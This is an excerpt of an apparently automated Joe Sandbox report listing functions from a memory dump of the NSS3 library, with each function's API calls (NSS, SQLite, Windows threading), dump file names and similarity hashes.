memset.VCRUNTIME140(00000004,00000000,000000B8), ref: 6C9A48FB
PORT_ArenaAlloc_Util.NSS3(?,00000018), ref: 6C9A4908
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C9A4947
SECITEM_CopyItem_Util.NSS3(?,00000000,?), ref: 6C9A496C
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C9A4988
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CAC8DAC,?), ref: 6C9A49DE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9A49FD
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C9A4ACB

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$Alloc_ArenaError$Arena_Item_$CopyDecodeFreeQuickmemset
String ID:
API String ID: 4201528089-0
Opcode ID: f6049a468187058b0f317387d5833a68ff001ae201d4b816714b7914c71f7335
Instruction ID: 7554241f5a1470a8a562602cf17953d706c80ccadc3b59b53c592a184b1170ac
Opcode Fuzzy Hash: f6049a468187058b0f317387d5833a68ff001ae201d4b816714b7914c71f7335
Instruction Fuzzy Hash: EC511671A003018BEB108FA9ED4179B77E8AF4130CF115139E919ABB81EFB1D45ACF56

Function 6CA72D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CA72D9F

Part of subcall function 6C92CA30: EnterCriticalSection.KERNEL32(?,?,?,6C98F9C9,?,6C98F4DA,6C98F9C9,?,?,6C95369A), ref: 6C92CA7A
Part of subcall function 6C92CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C92CB26

sqlite3_exec.NSS3(?,?,6CA72F70,?,?), ref: 6CA72DF9
sqlite3_free.NSS3(00000000), ref: 6CA72E2C
sqlite3_free.NSS3(?), ref: 6CA72E3A
sqlite3_free.NSS3(?), ref: 6CA72E52
sqlite3_mprintf.NSS3(6CADAAF9,?), ref: 6CA72E62
sqlite3_free.NSS3(?), ref: 6CA72E70
sqlite3_free.NSS3(?), ref: 6CA72E89
sqlite3_free.NSS3(?), ref: 6CA72EBB
sqlite3_free.NSS3(?), ref: 6CA72ECB
sqlite3_free.NSS3(00000000), ref: 6CA72F3E
sqlite3_free.NSS3(?), ref: 6CA72F4C

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 9524a8ef6303db43399cdbf85daa00e2021068ab3e3ac4eca41d782abea7049f
Instruction ID: 898a3c122779a8834dc8d41e2151bcb5089e3b5183141c7cac9e9827abb02002
Opcode Fuzzy Hash: 9524a8ef6303db43399cdbf85daa00e2021068ab3e3ac4eca41d782abea7049f
Instruction Fuzzy Hash: 10618EB9E01205CBEB20CF68D884B9EBBB1BF58358F194128DC55A7701E735E894CBB1

Function 6CA079F0 Relevance: 18.2, APIs: 12, Instructions: 181memorystringthreadCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(000000AB,?,6CA0952D), ref: 6CA07A02

Part of subcall function 6CA00840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CA008B4

SECOID_FindOID_Util.NSS3(?,?,?,6CA0952D), ref: 6CA07A36

Part of subcall function 6CA007B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C9A8298,?,?,?,6C99FCE5,?), ref: 6CA007BF
Part of subcall function 6CA007B0: PL_HashTableLookup.NSS3(?,?), ref: 6CA007E6
Part of subcall function 6CA007B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CA0081B
Part of subcall function 6CA007B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CA00825

PR_SetError.NSS3(FFFFE005,00000000,?,?,6CA0952D), ref: 6CA07A63
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6CA0952D), ref: 6CA07A7D
PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,?,?,6CA0952D), ref: 6CA07A9C
PORT_ArenaGrow_Util.NSS3(?,?,00000000,?), ref: 6CA07AEC
PORT_ArenaAlloc_Util.NSS3(?,00000010), ref: 6CA07B04
SECITEM_CopyItem_Util.NSS3(?,?,00000000,?,?,?,?,?,?,6CA0952D), ref: 6CA07B3C
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,?,?,6CA0952D), ref: 6CA07B6B
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,?,?,6CA0952D), ref: 6CA07B85
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,6CA0952D), ref: 6CA07BB1
PR_GetCurrentThread.NSS3(?,?,6CA0952D), ref: 6CA07BE7

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$Arena$Alloc_$Error$FindHashLookupTable$ConstCopyCurrentGrow_Item_Tag_Threadstrlen
String ID:
API String ID: 915756558-0
Opcode ID: 9c569a9f203f87ff574882c269cc7d2df6116064ee480c1aa46b74f4135963de
Instruction ID: febf20a34c167616cf5cb4b5925a4cebd0227f0c3598b791301192c5af874b52
Opcode Fuzzy Hash: 9c569a9f203f87ff574882c269cc7d2df6116064ee480c1aa46b74f4135963de
Instruction Fuzzy Hash: 9E517EB0B013059FE7108F25ED91B6277A1BF4538CF284168E959CBBA1E771E998CB90

Function 6C9C2C40 Relevance: 18.2, APIs: 12, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C9C3F23,?,6C9BE477,?,?,?,00000001,00000000,?,?,6C9C3F23,?), ref: 6C9C2C62
EnterCriticalSection.KERNEL32(0000001C,?,6C9BE477,?,?,?,00000001,00000000,?,?,6C9C3F23,?), ref: 6C9C2C76
PL_HashTableLookup.NSS3(00000000,?,?,6C9BE477,?,?,?,00000001,00000000,?,?,6C9C3F23,?), ref: 6C9C2C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C9BE477,?,?,?,00000001,00000000,?,?,6C9C3F23,?), ref: 6C9C2C93

Part of subcall function 6CA4DD70: TlsGetValue.KERNEL32 ref: 6CA4DD8C
Part of subcall function 6CA4DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CA4DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C9BE477,?,?,?,00000001,00000000,?,?,6C9C3F23,?), ref: 6C9C2CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C9BE477,?,?,?,00000001,00000000,?,?,6C9C3F23,?), ref: 6C9C2CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C9BE477,?,?,?,00000001,00000000,?,?,6C9C3F23), ref: 6C9C2CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C9BE477,?,?,?,00000001,00000000,?), ref: 6C9C2CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C9BE477,?,?,?,00000001,00000000,?), ref: 6C9C2D4D
EnterCriticalSection.KERNEL32(?), ref: 6C9C2D61
PL_HashTableLookup.NSS3(?,?), ref: 6C9C2D71
PR_Unlock.NSS3(?), ref: 6C9C2D7E

Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907AD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907CD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907D6
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C92204A), ref: 6C9907E4
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,6C92204A), ref: 6C990864
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C990880
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,6C92204A), ref: 6C9908CB
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908D7
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908FB

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID:
API String ID: 2446853827-0
Opcode ID: 495c919f582d2854fe4024ae596e54b2e541b2f55ada7a07136647bd59efbad2
Instruction ID: 1c641f6a611be6e502eb3b3b60776635476247b88b4ed891f032ef0fb81f8d3a
Opcode Fuzzy Hash: 495c919f582d2854fe4024ae596e54b2e541b2f55ada7a07136647bd59efbad2
Instruction Fuzzy Hash: F451E876E00605ABDB009F24EC4589A7778FF3935CB088564ED1897B11E731ED59C7E2

Function 6C9B7C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CB02120,6C9B7E60,00000000,?,?,?,?,6CA3067D,6CA31C60,00000000), ref: 6C9B7C81

Part of subcall function 6C924C70: TlsGetValue.KERNEL32(?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924C97
Part of subcall function 6C924C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924CB0
Part of subcall function 6C924C70: PR_Unlock.NSS3(?,?,?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924CC9

TlsGetValue.KERNEL32 ref: 6C9B7CA0
EnterCriticalSection.KERNEL32(?), ref: 6C9B7CB4
PR_Unlock.NSS3 ref: 6C9B7CCF

Part of subcall function 6CA4DD70: TlsGetValue.KERNEL32 ref: 6CA4DD8C
Part of subcall function 6CA4DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CA4DDB4

TlsGetValue.KERNEL32 ref: 6C9B7D04
EnterCriticalSection.KERNEL32(?), ref: 6C9B7D1B
realloc.MOZGLUE(-00000050), ref: 6C9B7D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9B7DF4
PR_Unlock.NSS3 ref: 6C9B7E0E

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: 27fa0eedc0af38c1ab8adc626d3dd8e1c2c3d50834bcea2303ebe46f50412355
Instruction ID: 792829f7abd6b5c24fd08ac4958ee3e1d0469e0c54695dade3472add6a9345b7
Opcode Fuzzy Hash: 27fa0eedc0af38c1ab8adc626d3dd8e1c2c3d50834bcea2303ebe46f50412355
Instruction Fuzzy Hash: EE512775B40200AFDF005F28DC44A6677B9FF66358F15822EEE0467722EB30D459CBA2

Function 6CA07870 Relevance: 18.1, APIs: 12, Instructions: 138stringmemorythreadCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,?,6CA091C5), ref: 6CA0788F

Part of subcall function 6CA007B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C9A8298,?,?,?,6C99FCE5,?), ref: 6CA007BF
Part of subcall function 6CA007B0: PL_HashTableLookup.NSS3(?,?), ref: 6CA007E6
Part of subcall function 6CA007B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CA0081B
Part of subcall function 6CA007B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CA00825

PR_SetError.NSS3(FFFFE005,00000000,?,?,6CA091C5), ref: 6CA078BB
PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6CA091C5), ref: 6CA078FA
strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6CA091C5), ref: 6CA07930
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CA091C5), ref: 6CA07951
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA07964
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CA0797A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6CA07988
memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6CA07998
free.MOZGLUE(00000000), ref: 6CA079A7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6CA091C5), ref: 6CA079BB
PR_GetCurrentThread.NSS3(?,?,?,?,6CA091C5), ref: 6CA079CA

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$Error$Alloc_HashLookupTablememcpy$ConstCurrentFindItem_ThreadZfreefreestrchrstrcmpstrlen
String ID:
API String ID: 1862276529-0
Opcode ID: d9b6c61535e2a8b5600bf9b678dd0c063edc2ffb9904cffa3cafa5db650a24a1
Instruction ID: 5773638a197c5987ad58d1b9af9bccc0707c6afae04367e569144c08124b20e0
Opcode Fuzzy Hash: d9b6c61535e2a8b5600bf9b678dd0c063edc2ffb9904cffa3cafa5db650a24a1
Instruction Fuzzy Hash: 8841D6B2B002019BEB108B75AD49B6777A8BF4539CF180178E818D7B41E771E8DCC6A1

Function 6C924C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924CB0
PR_Unlock.NSS3(?,?,?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924D97
PR_Lock.NSS3(?,?,?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924DBA
PR_WaitCondVar.NSS3 ref: 6C924DD4
PR_Unlock.NSS3(?,?,?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924DEF

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 08c1019fa972e3ebc2b3fd5a0b1982121dfe93f9321cf23a49c4d4a45e7f3797
Instruction ID: 902fcbbc3f9e5af99d9f9ca6aa8da2244dc69e84c526a6e359b16453df7e5ec7
Opcode Fuzzy Hash: 08c1019fa972e3ebc2b3fd5a0b1982121dfe93f9321cf23a49c4d4a45e7f3797
Instruction Fuzzy Hash: 98418CB5A14715CFCB00EF79D884199BBB8BF15318F09866DD8989BB14EB34E885CF81

Function 6C9A38E0 Relevance: 18.1, APIs: 12, Instructions: 83COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,6C9A38A8,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9A38FF
EnterCriticalSection.KERNEL32(?,?,?,?,6C9A38A8), ref: 6C9A3918
PL_HashTableDestroy.NSS3(?,?,?,?,?,6C9A38A8), ref: 6C9A392C
PR_Unlock.NSS3(?,?,?,?,?,6C9A38A8), ref: 6C9A3941
DeleteCriticalSection.KERNEL32(?,?,?,?,?,6C9A38A8), ref: 6C9A3952
free.MOZGLUE(?,?,?,?,?,?,6C9A38A8), ref: 6C9A395E
TlsGetValue.KERNEL32(00000000,?,?,6C9A38A8,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9A3981
EnterCriticalSection.KERNEL32(?,?,?,?,6C9A38A8), ref: 6C9A3996
PL_HashTableDestroy.NSS3(?,?,?,?,?,6C9A38A8), ref: 6C9A39AA
PR_Unlock.NSS3(?,?,?,?,?,6C9A38A8), ref: 6C9A39BF
DeleteCriticalSection.KERNEL32(?,?,?,?,?,6C9A38A8), ref: 6C9A39D0
free.MOZGLUE(?,?,?,?,?,?,6C9A38A8), ref: 6C9A39DC

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalSection$DeleteDestroyEnterHashTableUnlockValuefree
String ID:
API String ID: 2967110932-0
Opcode ID: 01b57300abc1335b2077bf886ea4980d418488826262827316c823bb7c9a6329
Instruction ID: 30d40c161c2b6f98f0e5311fc38a02e974d3c94fe216ae3a90699a4a721deee1
Opcode Fuzzy Hash: 01b57300abc1335b2077bf886ea4980d418488826262827316c823bb7c9a6329
Instruction Fuzzy Hash: 34310AB5B04706CBDB04BFB9D448559BBF8BB16318F05892DD89593B00F734E49ACB82

Function 6C92F880 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 341COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001158E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C92FB69

Part of subcall function 6CA593E0: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA59419

memcpy.VCRUNTIME140(?,?,?), ref: 6C92F8FC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C92F93E
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C92FA44
memcpy.VCRUNTIME140(?,?,?), ref: 6C92FA66
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C92FB3A
memcpy.VCRUNTIME140(?,?,?), ref: 6C92FC01

Strings

database corruption, xrefs: 6C92FB5D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C92FB2A, 6C92FB47, 6C92FB53, 6C92FCAE
%s at line %d of [%.10s], xrefs: 6C92FB62

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: memcpy$_byteswap_ulong$_byteswap_ushortmemsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1835766639-598938438
Opcode ID: 849331a41f3db6035e1ade3954ac2a4d3b7711ea96021d326019ff2e1a359db1
Instruction ID: 7fd6d74ef469cdb66edf58dd30d38d437845f9ea785929a988bfaa286abb63f3
Opcode Fuzzy Hash: 849331a41f3db6035e1ade3954ac2a4d3b7711ea96021d326019ff2e1a359db1
Instruction Fuzzy Hash: FCD17971E102299FDB04CFA9D890AEEB7B5BF48318F148129E849B7704E739ED45CB90

Function 6CA59820 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 312COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(-00000001), ref: 6CA598B8
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA59978
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA5999E
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?), ref: 6CA59B68

Part of subcall function 6CA59C40: memcmp.VCRUNTIME140(?,00000000,6C92C52B), ref: 6CA59D53

EnterCriticalSection.KERNEL32(?,?,?,?,?,?), ref: 6CA59B12
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000118F8,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA59BBF
sqlite3_free.NSS3(00000000,?,?,?), ref: 6CA59BF5

Part of subcall function 6C92CA30: EnterCriticalSection.KERNEL32(?,?,?,6C98F9C9,?,6C98F4DA,6C98F9C9,?,?,6C95369A), ref: 6C92CA7A
Part of subcall function 6C92CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C92CB26

Part of subcall function 6C92F880: memcpy.VCRUNTIME140(?,?,?), ref: 6C92F8FC
Part of subcall function 6C92F880: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C92F93E

Strings

database corruption, xrefs: 6CA59BB3
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA59A3C, 6CA59B9D, 6CA59BA9
%s at line %d of [%.10s], xrefs: 6CA59BB8

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalSection$EnterLeave_byteswap_ulong_byteswap_ushort$memcmpmemcpysqlite3_freesqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4240395935-598938438
Opcode ID: 12703d245337b938f387248b47b03a8ec80010a7e2bb7022a76862e68a9bfbfc
Instruction ID: 6928468b5a5f5b1d7b0424962702d841415643293ad935b650541804ced14bb7
Opcode Fuzzy Hash: 12703d245337b938f387248b47b03a8ec80010a7e2bb7022a76862e68a9bfbfc
Instruction Fuzzy Hash: 2FC145B1E042118BDB04CF75C9846AAB7B5BF59314F488258E845AFB40E335ECE2C791

